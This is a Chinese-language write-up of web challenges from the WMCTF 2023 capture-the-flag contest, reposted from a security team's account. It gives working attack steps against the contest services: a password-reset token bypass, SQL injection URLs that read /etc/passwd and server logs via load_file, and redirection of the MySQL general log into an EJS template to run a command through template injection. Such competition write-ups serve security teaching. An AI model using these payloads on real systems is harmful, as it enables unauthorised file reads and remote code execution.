WMCTF 2023 writeup by Mini-Venom

WriteUp 1年前 (2023) admin
275 0 0


招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

[email protected](带上简历和想加入的小组)

Web:

AnyFileRead

/admin/../flag

你的权限放着我来

大致有登陆、注册、重置密码三个功能。
根据题目可知应该要往最高权限登陆那边想,首先先注册一个用户。
登陆成功后F12查看源码,可知除了自己注册的邮箱外还有四个账号。

"[email protected]","[email protected]"[email protected]""[email protected]"}

点击重置密码,邮箱收到了/api/change接口修改密码。

WMCTF 2023 writeup by Mini-Venom

email可控但是有token鉴权,token看起来像是随机生成的样子。然而web端就这些功能,并且是黑盒,所以猜测利用面就是token。
fuzz的时候发现令[email protected]&token=即可拿到flag{test_flag}(感觉这题像是一个半成品)

ez_java_agagn

url二次编码

WMCTF 2023 writeup by Mini-Venom

ezblog

需要验证才能随意执行sql语句
但是 /post/:id/edit 这个路由没有验证限制 这里可以注入
可以利用load_file 读文件

http://b301a747-7ff2-4a8b-bae0-e5938179fb36.wmctf.wm-team.cn/post/11 union select load_file('/etc/passwd'),load_file('/etc/passwd'),load_file('/etc/passwd')/edit  

WMCTF 2023 writeup by Mini-Venom

由于 这个是用pm2起来的服务 会记录一些日志 里面有pin码 可以得到 authorization 读文件

WMCTF 2023 writeup by Mini-Venom

http://b301a747-7ff2-4a8b-bae0-e5938179fb36.wmctf.wm-team.cn/post/11%20union%20select%20load_file('%2Fhome%2Fezblog%2F.pm2%2Flogs%2Fmain-out.log'),load_file('%2Fhome%2Fezblog%2F.pm2%2Flogs%2Fmain-out.log'),load_file('%2Fhome%2Fezblog%2F.pm2%2Flogs%2Fmain-out.log')/edit

api/debugger/auth 路由获得 authorization
可以执行任意sql语句了
过滤了 const waf = [‘into’, ‘outfile’, ‘dumpfile’]; 不能写文件
并且 没有mysql数据库 不能写入日志
但是由于可以执行任意sql语句 可以创建mysql数据库 同时创建相应的 general_log表 就可以写入日志
https://blog.csdn.net/chousheng0285/article/details/100870327
执行

  CREATE TABLE mysql.general_log (
  event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  user_host mediumtext NOT NULL,
  thread_id int(11) NOT NULL,
  server_id int(10) unsigned NOT NULL,
  command_type varchar(64) NOT NULL,
  argument mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log'

然后就可以写入日志了 设置日志路径为 一开始以为创建的文件有写入权限 但是貌似可以创建 不可以写入 但是 可以指定 已存在的 ejs 文件作为 log日志

SET%20GLOBAL%20general_log_file%20%3D%20'%2Fhome%2Fezblog%2Fviews%2Findex.ejs'%3B

然后执行

select%20'%3C%25%3D%20process.mainModule.require(%22child_process%22).execSync(%22%2Freadflag%22).toString()%20%25%3E'%3B
Ssti 
然后里面有个 /api/debugger/template/test 路由可以调试模板 同样这个渲染的模板文件名是可控的 直接file=刚才设置的日志 index就可以 ssti

WMCTF 2023 writeup by Mini-Venom

– END –


WMCTF 2023 writeup by Mini-Venom



原文始发于微信公众号(ChaMd5安全团队):WMCTF 2023 writeup by Mini-Venom

版权声明:admin 发表于 2023年8月25日 上午8:01。
转载请注明:WMCTF 2023 writeup by Mini-Venom | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...